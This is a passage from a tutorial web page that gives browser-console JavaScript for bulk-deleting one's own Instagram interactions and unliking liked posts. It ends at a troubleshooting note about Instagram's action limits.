</span><span class="nx">findSelectButton</span><span class="p">()</span><span class="w"> </span><span class="p">{</span> <span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="p">[</span> <span class="w"> </span><span class="p">...</span><span class="nb">document</span><span class="p">.</span><span class="nx">querySelectorAll</span><span class="p">(</span> <span class="w"> </span><span class="s1">'div[data-bloks-name="bk.components.Flexbox"]'</span><span class="p">,</span> <span class="w"> </span><span class="p">),</span> <span class="w"> </span><span class="p">].</span><span class="nx">find</span><span class="p">((</span><span class="nx">el</span><span class="p">)</span><span class="w"> </span><span class="p">=&gt;</span><span class="w"> </span><span class="nx">el</span><span class="p">.</span><span class="nx">innerText</span><span class="o">?</span><span class="p">.</span><span class="nx">trim</span><span class="p">()</span><span class="w"> </span><span class="o">===</span><span class="w"> </span><span class="s2">"Select"</span><span class="p">);</span> <span class="w"> </span><span class="p">}</span> <span class="w"> </span><span class="k">async</span><span class="w"> </span><span class="kd">function</span><span class="w"> </span><span class="nx">activateSelectMode</span><span class="p">()</span><span class="w"> </span><span class="p">{</span> <span class="w"> </span><span class="kd">const</span><span class="w"> </span><span class="nx">selectBtn</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">findSelectButton</span><span class="p">();</span> <span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="o">!</span><span class="nx">selectBtn</span><span class="p">)</span><span class="w"> </span><span class="p">{</span> <span class="w"> </span><span class="k">throw</span><span class="w"> </span><span class="ow">new</span><span class="w"> </span><span class="ne">Error</span><span class="p">(</span><span class="s2">"Select button not found."</span><span class="p">);</span> <span class="w"> </span><span class="p">}</span> <span class="w"> </span><span class="nx">realClick</span><span class="p">(</span><span class="nx">selectBtn</span><span class="p">);</span> <span class="w"> </span><span class="k">await</span><span class="w"> </span><span class="nx">sleep</span><span class="p">(</span><span class="nx">SELECT_DELAY</span><span class="p">);</span> <span class="w"> </span><span class="p">}</span> <span class="w"> </span><span class="kd">function</span><span class="w"> </span><span class="nx">getSelectableIcons</span><span class="p">()</span><span class="w"> </span><span class="p">{</span> <span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="nb">document</span><span class="p">.</span><span class="nx">querySelectorAll</span><span class="p">(</span> <span class="w"> </span><span class="s1">'div[data-bloks-name="ig.components.Icon"][style*="circle__outline"]'</span><span class="p">,</span> <span class="w"> </span><span class="p">);</span> <span class="w"> </span><span class="p">}</span> <span class="w"> </span><span class="k">async</span><span class="w"> </span><span class="kd">function</span><span class="w"> </span><span class="nx">selectItems</span><span class="p">(</span><span class="nx">max</span><span class="p">)</span><span class="w"> </span><span class="p">{</span> <span class="w"> </span><span class="kd">const</span><span class="w"> </span><span class="nx">icons</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">getSelectableIcons</span><span class="p">();</span> <span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="o">!</span><span class="nx">icons</span><span class="p">.</span><span class="nx">length</span><span class="p">)</span><span class="w"> </span><span class="p">{</span> <span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="mf">0</span><span class="p">;</span> <span class="w"> </span><span class="p">}</span> <span class="w"> </span><span class="kd">let</span><span class="w"> </span><span class="nx">selected</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mf">0</span><span class="p">;</span> <span class="w"> </span><span class="k">for</span><span class="w"> </span><span class="p">(</span><span class="kd">const</span><span class="w"> </span><span class="nx">icon</span><span class="w"> </span><span class="k">of</span><span class="w"> </span><span class="nx">icons</span><span class="p">)</span><span class="w"> </span><span class="p">{</span> <span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="nx">selected</span><span class="w"> </span><span class="o">&gt;=</span><span class="w"> </span><span class="nx">max</span><span class="p">)</span><span class="w"> </span><span class="k">break</span><span class="p">;</span> <span class="w"> </span><span class="nx">icon</span><span class="p">.</span><span class="nx">scrollIntoView</span><span class="p">({</span><span class="w"> </span><span class="nx">behavior</span><span class="o">:</span><span class="w"> </span><span class="s2">"smooth"</span><span class="p">,</span><span class="w"> </span><span class="nx">block</span><span class="o">:</span><span class="w"> </span><span class="s2">"center"</span><span class="w"> </span><span class="p">});</span> <span class="w"> </span><span class="k">await</span><span class="w"> </span><span class="nx">sleep</span><span class="p">(</span><span class="mf">400</span><span class="p">);</span> <span class="w"> </span><span class="kd">const</span><span class="w"> </span><span class="nx">button</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">icon</span><span class="p">.</span><span class="nx">closest</span><span class="p">(</span><span class="s1">'[role="button"]'</span><span class="p">);</span> <span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="o">!</span><span class="nx">button</span><span class="p">)</span><span class="w"> </span><span class="k">continue</span><span class="p">;</span> <span class="w"> </span><span class="nx">realClick</span><span class="p">(</span><span class="nx">button</span><span class="p">);</span> <span class="w"> </span><span class="nx">selected</span><span class="o">++</span><span class="p">;</span> <span class="w"> </span><span class="k">await</span><span class="w"> </span><span class="nx">sleep</span><span class="p">(</span><span class="nx">ICON_DELAY</span><span class="p">);</span> <span class="w"> </span><span class="p">}</span> <span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="nx">selected</span><span class="p">;</span> <span class="w"> </span><span class="p">}</span> <span class="w"> </span><span class="kd">function</span><span class="w"> </span><span class="nx">findBloksDeleteButton</span><span class="p">()</span><span class="w"> </span><span class="p">{</span> <span class="w"> </span><span class="kd">const</span><span class="w"> </span><span class="nx">deleteText</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">[</span> <span class="w"> </span><span class="p">...</span><span class="nb">document</span><span class="p">.</span><span class="nx">querySelectorAll</span><span class="p">(</span> <span class="w"> </span><span class="s1">'span[data-bloks-name="bk.components.TextSpan"]'</span><span class="p">,</span> <span class="w"> </span><span class="p">),</span> <span class="w"> </span><span class="p">].</span><span class="nx">find</span><span class="p">((</span><span class="nx">span</span><span class="p">)</span><span class="w"> </span><span class="p">=&gt;</span><span class="w"> </span><span class="nx">span</span><span class="p">.</span><span class="nx">innerText</span><span class="o">?</span><span class="p">.</span><span class="nx">trim</span><span class="p">()</span><span class="w"> </span><span class="o">===</span><span class="w"> </span><span class="s2">"Delete"</span><span class="p">);</span> <span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="o">!</span><span class="nx">deleteText</span><span class="p">)</span><span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="kc">null</span><span class="p">;</span> <span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="nx">deleteText</span><span class="p">.</span><span class="nx">closest</span><span class="p">(</span><span class="s1">'div[style*="pointer-events: auto"]'</span><span class="p">);</span> <span class="w"> </span><span class="p">}</span> <span class="w"> </span><span class="k">async</span><span class="w"> </span><span class="kd">function</span><span class="w"> </span><span class="nx">clickBloksDelete</span><span class="p">()</span><span class="w"> </span><span class="p">{</span> <span class="w"> </span><span class="k">await</span><span class="w"> </span><span class="nx">sleep</span><span class="p">(</span><span class="nx">SELECT_DELAY</span><span class="p">);</span> <span class="w"> </span><span class="kd">const</span><span class="w"> </span><span class="nx">deleteBtn</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">findBloksDeleteButton</span><span class="p">();</span> <span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="o">!</span><span class="nx">deleteBtn</span><span class="p">)</span><span class="w"> </span><span class="p">{</span> <span class="w"> </span><span class="k">throw</span><span class="w"> </span><span class="ow">new</span><span class="w"> </span><span class="ne">Error</span><span class="p">(</span><span class="s2">"Bloks Delete button not found."</span><span class="p">);</span> <span class="w"> </span><span class="p">}</span> <span class="w"> </span><span class="nx">realClick</span><span class="p">(</span><span class="nx">deleteBtn</span><span class="p">);</span> <span class="w"> </span><span class="p">}</span> <span class="w"> </span><span class="kd">function</span><span class="w"> </span><span class="nx">findModalDeleteButton</span><span class="p">()</span><span class="w"> </span><span class="p">{</span> <span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="p">[...</span><span class="nb">document</span><span class="p">.</span><span class="nx">querySelectorAll</span><span class="p">(</span><span class="s2">"button"</span><span class="p">)].</span><span class="nx">find</span><span class="p">(</span> <span class="w"> </span><span class="p">(</span><span class="nx">btn</span><span class="p">)</span><span class="w"> </span><span class="p">=&gt;</span><span class="w"> </span><span class="nx">btn</span><span class="p">.</span><span class="nx">innerText</span><span class="o">?</span><span class="p">.</span><span class="nx">trim</span><span class="p">()</span><span class="w"> </span><span class="o">===</span><span class="w"> </span><span class="s2">"Delete"</span><span class="p">,</span> <span class="w"> </span><span class="p">);</span> <span class="w"> </span><span class="p">}</span> <span class="w"> </span><span class="k">async</span><span class="w"> </span><span class="kd">function</span><span class="w"> </span><span class="nx">confirmFinalDelete</span><span class="p">()</span><span class="w"> </span><span class="p">{</span> <span class="w"> </span><span class="k">await</span><span class="w"> </span><span class="nx">sleep</span><span class="p">(</span><span class="nx">DELETE_DELAY</span><span class="p">);</span> <span class="w"> </span><span class="kd">const</span><span class="w"> </span><span class="nx">modalDeleteBtn</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">findModalDeleteButton</span><span class="p">();</span> <span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="o">!</span><span class="nx">modalDeleteBtn</span><span class="p">)</span><span class="w"> </span><span class="p">{</span> <span class="w"> </span><span class="k">throw</span><span class="w"> </span><span class="ow">new</span><span class="w"> </span><span class="ne">Error</span><span class="p">(</span><span class="s2">"Confirmation button not found."</span><span class="p">);</span> <span class="w"> </span><span class="p">}</span> <span class="w"> </span><span class="nx">modalDeleteBtn</span><span class="p">.</span><span class="nx">focus</span><span class="p">();</span> <span class="w"> </span><span class="k">await</span><span class="w"> </span><span class="nx">sleep</span><span class="p">(</span><span class="mf">100</span><span class="p">);</span> <span class="w"> </span><span class="nx">modalDeleteBtn</span><span class="p">.</span><span class="nx">click</span><span class="p">();</span> <span class="w"> </span><span class="p">}</span> <span class="w"> </span><span class="kd">let</span><span class="w"> </span><span class="nx">cycle</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mf">1</span><span class="p">;</span> <span class="w"> </span><span class="k">while</span><span class="w"> </span><span class="p">(</span><span class="o">!</span><span class="nb">window</span><span class="p">.</span><span class="nx">__STOP_IG_BULK_DELETE__</span><span class="p">)</span><span class="w"> </span><span class="p">{</span> <span class="w"> </span><span class="k">try</span><span class="w"> </span><span class="p">{</span> <span class="w"> </span><span class="k">await</span><span class="w"> </span><span class="nx">activateSelectMode</span><span class="p">();</span> <span class="w"> </span><span class="kd">const</span><span class="w"> </span><span class="nx">deletedCount</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="k">await</span><span class="w"> </span><span class="nx">selectItems</span><span class="p">(</span><span class="nx">MAX</span><span class="p">);</span> <span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="o">!</span><span class="nx">deletedCount</span><span class="p">)</span><span class="w"> </span><span class="p">{</span> <span class="w"> </span><span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="s2">"No more interactions to delete."</span><span class="p">);</span> <span class="w"> </span><span class="k">break</span><span class="p">;</span> <span class="w"> </span><span class="p">}</span> <span class="w"> </span><span class="k">await</span><span class="w"> </span><span class="nx">clickBloksDelete</span><span class="p">();</span> <span class="w"> </span><span class="k">await</span><span class="w"> </span><span class="nx">confirmFinalDelete</span><span class="p">();</span> <span class="w"> </span><span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="sb">`Cycle </span><span class="si">${</span><span class="nx">cycle</span><span class="si">}</span><span class="sb">: </span><span class="si">${</span><span class="nx">deletedCount</span><span class="si">}</span><span class="sb"> items deleted.`</span><span class="p">);</span> <span class="w"> </span><span class="nx">cycle</span><span class="o">++</span><span class="p">;</span> <span class="w"> </span><span class="k">await</span><span class="w"> </span><span class="nx">sleep</span><span class="p">(</span><span class="nx">CYCLE_DELAY</span><span class="p">);</span> <span class="w"> </span><span class="p">}</span><span class="w"> </span><span class="k">catch</span><span class="w"> </span><span class="p">(</span><span class="nx">error</span><span class="p">)</span><span class="w"> </span><span class="p">{</span> <span class="w"> </span><span class="nx">console</span><span class="p">.</span><span class="nx">warn</span><span class="p">(</span><span class="s2">"Operation stopped:"</span><span class="p">,</span><span class="w"> </span><span class="nx">error</span><span class="p">.</span><span class="nx">message</span><span class="p">);</span> <span class="w"> </span><span class="k">break</span><span class="p">;</span> <span class="w"> </span><span class="p">}</span> <span class="w"> </span><span class="p">}</span> <span class="p">})();</span> </code></pre></div> <hr/> <h2 id="2-unlike-script-for-likes">🖤 2. Unlike Script for Likes<a class="headerlink" href="#2-unlike-script-for-likes" title="Permanent link">#</a></h2> <p>If you want to collectively unlike posts you've liked, the button naming structure changes. During my tests, I noticed the button names needed to be updated to "Unlike." You can use this code in the Likes tab:</p> <div class="highlight"><pre><span></span><code><span class="cm">/**</span> <span class="cm"> * Instagram Bulk Unlike Script</span> <span class="cm"> * For the Likes tab only.</span> <span class="cm"> */</span> <span class="p">(</span><span class="k">async</span><span class="w"> </span><span class="kd">function</span><span class="w"> </span><span class="nx">instagramBulkUnlike</span><span class="p">()</span><span class="w"> </span><span class="p">{</span> <span class="w"> </span><span class="nb">window</span><span class="p">.</span><span class="nx">__STOP_IG_BULK_DELETE__</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="kc">false</span><span class="p">;</span> <span class="w"> </span><span class="kd">const</span><span class="w"> </span><span class="nx">MAX</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mf">20</span><span class="p">;</span><span class="w"> </span> <span class="w"> </span><span class="kd">const</span><span class="w"> </span><span class="nx">CYCLE_DELAY</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mf">20000</span><span class="p">;</span><span class="w"> </span> <span class="w"> </span><span class="kd">const</span><span class="w"> </span><span class="nx">SELECT_DELAY</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mf">1200</span><span class="p">;</span> <span class="w"> </span><span class="kd">const</span><span class="w"> </span><span class="nx">ICON_DELAY</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mf">700</span><span class="p">;</span> <span class="w"> </span><span class="kd">const</span><span class="w"> </span><span class="nx">DELETE_DELAY</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mf">1500</span><span class="p">;</span> <span class="w"> </span><span class="kd">const</span><span class="w"> </span><span class="nx">sleep</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">(</span><span class="nx">ms</span><span class="p">)</span><span class="w"> </span><span class="p">=&gt;</span><span class="w"> </span><span class="ow">new</span><span class="w"> </span><span class="nb">Promise</span><span class="p">((</span><span class="nx">resolve</span><span class="p">)</span><span class="w"> </span><span class="p">=&gt;</span><span class="w"> </span><span class="nx">setTimeout</span><span class="p">(</span><span class="nx">resolve</span><span class="p">,</span><span class="w"> </span><span class="nx">ms</span><span class="p">));</span> <span class="w"> </span><span class="kd">function</span><span class="w"> </span><span class="nx">realClick</span><span class="p">(</span><span class="nx">element</span><span class="p">)</span><span class="w"> </span><span class="p">{</span> <span class="w"> </span><span class="nx">element</span><span class="p">.</span><span class="nx">scrollIntoView</span><span class="p">({</span><span class="w"> </span><span class="nx">block</span><span class="o">:</span><span class="w"> </span><span class="s2">"center"</span><span class="w"> </span><span class="p">});</span> <span class="w"> </span><span class="p">[</span><span class="s2">"mousedown"</span><span class="p">,</span><span class="w"> </span><span class="s2">"mouseup"</span><span class="p">,</span><span class="w"> </span><span class="s2">"click"</span><span class="p">].</span><span class="nx">forEach</span><span class="p">((</span><span class="nx">eventType</span><span class="p">)</span><span class="w"> </span><span class="p">=&gt;</span><span class="w"> </span><span class="p">{</span> <span class="w"> </span><span class="nx">element</span><span class="p">.</span><span class="nx">dispatchEvent</span><span class="p">(</span> <span class="w"> </span><span class="ow">new</span><span class="w"> </span><span class="nx">MouseEvent</span><span class="p">(</span><span class="nx">eventType</span><span class="p">,</span><span class="w"> </span><span class="p">{</span> <span class="w"> </span><span class="nx">view</span><span class="o">:</span><span class="w"> </span><span class="nb">window</span><span class="p">,</span> <span class="w"> </span><span class="nx">bubbles</span><span class="o">:</span><span class="w"> </span><span class="kc">true</span><span class="p">,</span> <span class="w"> </span><span class="nx">cancelable</span><span class="o">:</span><span class="w"> </span><span class="kc">true</span><span class="p">,</span> <span class="w"> </span><span class="nx">buttons</span><span class="o">:</span><span class="w"> </span><span class="mf">1</span><span class="p">,</span> <span class="w"> </span><span class="p">}),</span> <span class="w"> </span><span class="p">);</span> <span class="w"> </span><span class="p">});</span> <span class="w"> </span><span class="p">}</span> <span class="w"> </span><span class="kd">function</span><span class="w"> </span><span class="nx">findSelectButton</span><span class="p">()</span><span class="w"> </span><span class="p">{</span> <span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="p">[</span> <span class="w"> </span><span class="p">...</span><span class="nb">document</span><span class="p">.</span><span class="nx">querySelectorAll</span><span class="p">(</span> <span class="w"> </span><span class="s1">'div[data-bloks-name="bk.components.Flexbox"]'</span><span class="p">,</span> <span class="w"> </span><span class="p">),</span> <span class="w"> </span><span class="p">].</span><span class="nx">find</span><span class="p">((</span><span class="nx">el</span><span class="p">)</span><span class="w"> </span><span class="p">=&gt;</span><span class="w"> </span><span class="nx">el</span><span class="p">.</span><span class="nx">innerText</span><span class="o">?</span><span class="p">.</span><span class="nx">trim</span><span class="p">()</span><span class="w"> </span><span class="o">===</span><span class="w"> </span><span class="s2">"Select"</span><span class="p">);</span> <span class="w"> </span><span class="p">}</span> <span class="w"> </span><span class="k">async</span><span class="w"> </span><span class="kd">function</span><span class="w"> </span><span class="nx">activateSelectMode</span><span class="p">()</span><span class="w"> </span><span class="p">{</span> <span class="w"> </span><span class="kd">const</span><span class="w"> </span><span class="nx">selectBtn</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">findSelectButton</span><span class="p">();</span> <span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="o">!</span><span class="nx">selectBtn</span><span class="p">)</span><span class="w"> </span><span class="p">{</span> <span class="w"> </span><span class="k">throw</span><span class="w"> </span><span class="ow">new</span><span class="w"> </span><span class="ne">Error</span><span class="p">(</span><span class="s2">"Select button not found."</span><span class="p">);</span> <span class="w"> </span><span class="p">}</span> <span class="w"> </span><span class="nx">realClick</span><span class="p">(</span><span class="nx">selectBtn</span><span class="p">);</span> <span class="w"> </span><span class="k">await</span><span class="w"> </span><span class="nx">sleep</span><span class="p">(</span><span class="nx">SELECT_DELAY</span><span class="p">);</span> <span class="w"> </span><span class="p">}</span> <span class="w"> </span><span class="kd">function</span><span class="w"> </span><span class="nx">getSelectableIcons</span><span class="p">()</span><span class="w"> </span><span class="p">{</span> <span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="nb">document</span><span class="p">.</span><span class="nx">querySelectorAll</span><span class="p">(</span> <span class="w"> </span><span class="s1">'div[data-bloks-name="ig.components.Icon"][style*="circle__outline"]'</span><span class="p">,</span> <span class="w"> </span><span class="p">);</span> <span class="w"> </span><span class="p">}</span> <span class="w"> </span><span class="k">async</span><span class="w"> </span><span class="kd">function</span><span class="w"> </span><span class="nx">selectItems</span><span class="p">(</span><span class="nx">max</span><span class="p">)</span><span class="w"> </span><span class="p">{</span> <span class="w"> </span><span class="kd">const</span><span class="w"> </span><span class="nx">icons</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">getSelectableIcons</span><span class="p">();</span> <span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="o">!</span><span class="nx">icons</span><span class="p">.</span><span class="nx">length</span><span class="p">)</span><span class="w"> </span><span class="p">{</span> <span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="mf">0</span><span class="p">;</span> <span class="w"> </span><span class="p">}</span> <span class="w"> </span><span class="kd">let</span><span class="w"> </span><span class="nx">selected</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mf">0</span><span class="p">;</span> <span class="w"> </span><span class="k">for</span><span class="w"> </span><span class="p">(</span><span class="kd">const</span><span class="w"> </span><span class="nx">icon</span><span class="w"> </span><span class="k">of</span><span class="w"> </span><span class="nx">icons</span><span class="p">)</span><span class="w"> </span><span class="p">{</span> <span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="nx">selected</span><span class="w"> </span><span class="o">&gt;=</span><span class="w"> </span><span class="nx">max</span><span class="p">)</span><span class="w"> </span><span class="k">break</span><span class="p">;</span> <span class="w"> </span><span class="nx">icon</span><span class="p">.</span><span class="nx">scrollIntoView</span><span class="p">({</span><span class="w"> </span><span class="nx">behavior</span><span class="o">:</span><span class="w"> </span><span class="s2">"smooth"</span><span class="p">,</span><span class="w"> </span><span class="nx">block</span><span class="o">:</span><span class="w"> </span><span class="s2">"center"</span><span class="w"> </span><span class="p">});</span> <span class="w"> </span><span class="k">await</span><span class="w"> </span><span class="nx">sleep</span><span class="p">(</span><span class="mf">400</span><span class="p">);</span> <span class="w"> </span><span class="kd">const</span><span class="w"> </span><span class="nx">button</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">icon</span><span class="p">.</span><span class="nx">closest</span><span class="p">(</span><span class="s1">'[role="button"]'</span><span class="p">);</span> <span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="o">!</span><span class="nx">button</span><span class="p">)</span><span class="w"> </span><span class="k">continue</span><span class="p">;</span> <span class="w"> </span><span class="nx">realClick</span><span class="p">(</span><span class="nx">button</span><span class="p">);</span> <span class="w"> </span><span class="nx">selected</span><span class="o">++</span><span class="p">;</span> <span class="w"> </span><span class="k">await</span><span class="w"> </span><span class="nx">sleep</span><span class="p">(</span><span class="nx">ICON_DELAY</span><span class="p">);</span> <span class="w"> </span><span class="p">}</span> <span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="nx">selected</span><span class="p">;</span> <span class="w"> </span><span class="p">}</span> <span class="w"> </span><span class="kd">function</span><span class="w"> </span><span class="nx">findBloksDeleteButton</span><span class="p">()</span><span class="w"> </span><span class="p">{</span> <span class="w"> </span><span class="kd">const</span><span class="w"> </span><span class="nx">unlikeText</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">[</span> <span class="w"> </span><span class="p">...</span><span class="nb">document</span><span class="p">.</span><span class="nx">querySelectorAll</span><span class="p">(</span> <span class="w"> </span><span class="s1">'span[data-bloks-name="bk.components.TextSpan"]'</span><span class="p">,</span> <span class="w"> </span><span class="p">),</span> <span class="w"> </span><span class="p">].</span><span class="nx">find</span><span class="p">((</span><span class="nx">span</span><span class="p">)</span><span class="w"> </span><span class="p">=&gt;</span><span class="w"> </span><span class="nx">span</span><span class="p">.</span><span class="nx">innerText</span><span class="o">?</span><span class="p">.</span><span class="nx">trim</span><span class="p">()</span><span class="w"> </span><span class="o">===</span><span class="w"> </span><span class="s2">"Unlike"</span><span class="p">);</span> <span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="o">!</span><span class="nx">unlikeText</span><span class="p">)</span><span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="kc">null</span><span class="p">;</span> <span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="nx">unlikeText</span><span class="p">.</span><span class="nx">closest</span><span class="p">(</span><span class="s1">'div[style*="pointer-events: auto"]'</span><span class="p">);</span> <span class="w"> </span><span class="p">}</span> <span class="w"> </span><span class="k">async</span><span class="w"> </span><span class="kd">function</span><span class="w"> </span><span class="nx">clickBloksUnlike</span><span class="p">()</span><span class="w"> </span><span class="p">{</span> <span class="w"> </span><span class="k">await</span><span class="w"> </span><span class="nx">sleep</span><span class="p">(</span><span class="nx">SELECT_DELAY</span><span class="p">);</span> <span class="w"> </span><span class="kd">const</span><span class="w"> </span><span class="nx">unlikeBtn</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">findBloksDeleteButton</span><span class="p">();</span> <span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="o">!</span><span class="nx">unlikeBtn</span><span class="p">)</span><span class="w"> </span><span class="p">{</span> <span class="w"> </span><span class="k">throw</span><span class="w"> </span><span class="ow">new</span><span class="w"> </span><span class="ne">Error</span><span class="p">(</span><span class="s2">"Bloks Unlike button not found."</span><span class="p">);</span> <span class="w"> </span><span class="p">}</span> <span class="w"> </span><span class="nx">realClick</span><span class="p">(</span><span class="nx">unlikeBtn</span><span class="p">);</span> <span class="w"> </span><span class="p">}</span> <span class="w"> </span><span class="kd">function</span><span class="w"> </span><span class="nx">findModalDeleteButton</span><span class="p">()</span><span class="w"> </span><span class="p">{</span> <span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="p">[...</span><span class="nb">document</span><span class="p">.</span><span class="nx">querySelectorAll</span><span class="p">(</span><span class="s2">"button"</span><span class="p">)].</span><span class="nx">find</span><span class="p">(</span> <span class="w"> </span><span class="p">(</span><span class="nx">btn</span><span class="p">)</span><span class="w"> </span><span class="p">=&gt;</span><span class="w"> </span><span class="nx">btn</span><span class="p">.</span><span class="nx">innerText</span><span class="o">?</span><span class="p">.</span><span class="nx">trim</span><span class="p">()</span><span class="w"> </span><span class="o">===</span><span class="w"> </span><span class="s2">"Unlike"</span><span class="p">,</span> <span class="w"> </span><span class="p">);</span> <span class="w"> </span><span class="p">}</span> <span class="w"> </span><span class="k">async</span><span class="w"> </span><span class="kd">function</span><span class="w"> </span><span class="nx">confirmFinalUnlike</span><span class="p">()</span><span class="w"> </span><span class="p">{</span> <span class="w"> </span><span class="k">await</span><span class="w"> </span><span class="nx">sleep</span><span class="p">(</span><span class="nx">DELETE_DELAY</span><span class="p">);</span> <span class="w"> </span><span class="kd">const</span><span class="w"> </span><span class="nx">modalUnlikeBtn</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">findModalDeleteButton</span><span class="p">();</span> <span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="o">!</span><span class="nx">modalUnlikeBtn</span><span class="p">)</span><span class="w"> </span><span class="p">{</span> <span class="w"> </span><span class="k">throw</span><span class="w"> </span><span class="ow">new</span><span class="w"> </span><span class="ne">Error</span><span class="p">(</span><span class="s2">"Confirmation button not found."</span><span class="p">);</span> <span class="w"> </span><span class="p">}</span> <span class="w"> </span><span class="nx">modalUnlikeBtn</span><span class="p">.</span><span class="nx">focus</span><span class="p">();</span> <span class="w"> </span><span class="k">await</span><span class="w"> </span><span class="nx">sleep</span><span class="p">(</span><span class="mf">100</span><span class="p">);</span> <span class="w"> </span><span class="nx">modalUnlikeBtn</span><span class="p">.</span><span class="nx">click</span><span class="p">();</span> <span class="w"> </span><span class="p">}</span> <span class="w"> </span><span class="kd">let</span><span class="w"> </span><span class="nx">cycle</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mf">1</span><span class="p">;</span> <span class="w"> </span><span class="k">while</span><span class="w"> </span><span class="p">(</span><span class="o">!</span><span class="nb">window</span><span class="p">.</span><span class="nx">__STOP_IG_BULK_DELETE__</span><span class="p">)</span><span class="w"> </span><span class="p">{</span> <span class="w"> </span><span class="k">try</span><span class="w"> </span><span class="p">{</span> <span class="w"> </span><span class="k">await</span><span class="w"> </span><span class="nx">activateSelectMode</span><span class="p">();</span> <span class="w"> </span><span class="kd">const</span><span class="w"> </span><span class="nx">unlikedCount</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="k">await</span><span class="w"> </span><span class="nx">selectItems</span><span class="p">(</span><span class="nx">MAX</span><span class="p">);</span> <span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="o">!</span><span class="nx">unlikedCount</span><span class="p">)</span><span class="w"> </span><span class="p">{</span> <span class="w"> </span><span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="s2">"No more likes to unlike."</span><span class="p">);</span> <span class="w"> </span><span class="k">break</span><span class="p">;</span> <span class="w"> </span><span class="p">}</span> <span class="w"> </span><span class="k">await</span><span class="w"> </span><span class="nx">clickBloksUnlike</span><span class="p">();</span> <span class="w"> </span><span class="k">await</span><span class="w"> </span><span class="nx">confirmFinalUnlike</span><span class="p">();</span> <span class="w"> </span><span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="sb">`Cycle </span><span class="si">${</span><span class="nx">cycle</span><span class="si">}</span><span class="sb">: </span><span class="si">${</span><span class="nx">unlikedCount</span><span class="si">}</span><span class="sb"> likes unliked.`</span><span class="p">);</span> <span class="w"> </span><span class="nx">cycle</span><span class="o">++</span><span class="p">;</span> <span class="w"> </span><span class="k">await</span><span class="w"> </span><span class="nx">sleep</span><span class="p">(</span><span class="nx">CYCLE_DELAY</span><span class="p">);</span> <span class="w"> </span><span class="p">}</span><span class="w"> </span><span class="k">catch</span><span class="w"> </span><span class="p">(</span><span class="nx">error</span><span class="p">)</span><span class="w"> </span><span class="p">{</span> <span class="w"> </span><span class="nx">console</span><span class="p">.</span><span class="nx">warn</span><span class="p">(</span><span class="s2">"Operation stopped:"</span><span class="p">,</span><span class="w"> </span><span class="nx">error</span><span class="p">.</span><span class="nx">message</span><span class="p">);</span> <span class="w"> </span><span class="k">break</span><span class="p">;</span> <span class="w"> </span><span class="p">}</span> <span class="w"> </span><span class="p">}</span> <span class="p">})();</span> </code></pre></div> <hr/> <h2 id="potential-issues-and-solutions">🛠️ Potential Issues and Solutions<a class="headerlink" href="#potential-issues-and-solutions" title="Permanent link">#</a></h2> <ul> <li><strong>Instagram Action Limit:</strong> Instagram might impose temporary action limits while the script is running. In this case, you'll start seeing request errors in the console. To resolve this, increase the <code>CYCLE_DELAY</code> value in the code to <code>30000</code> (30 seconds) or 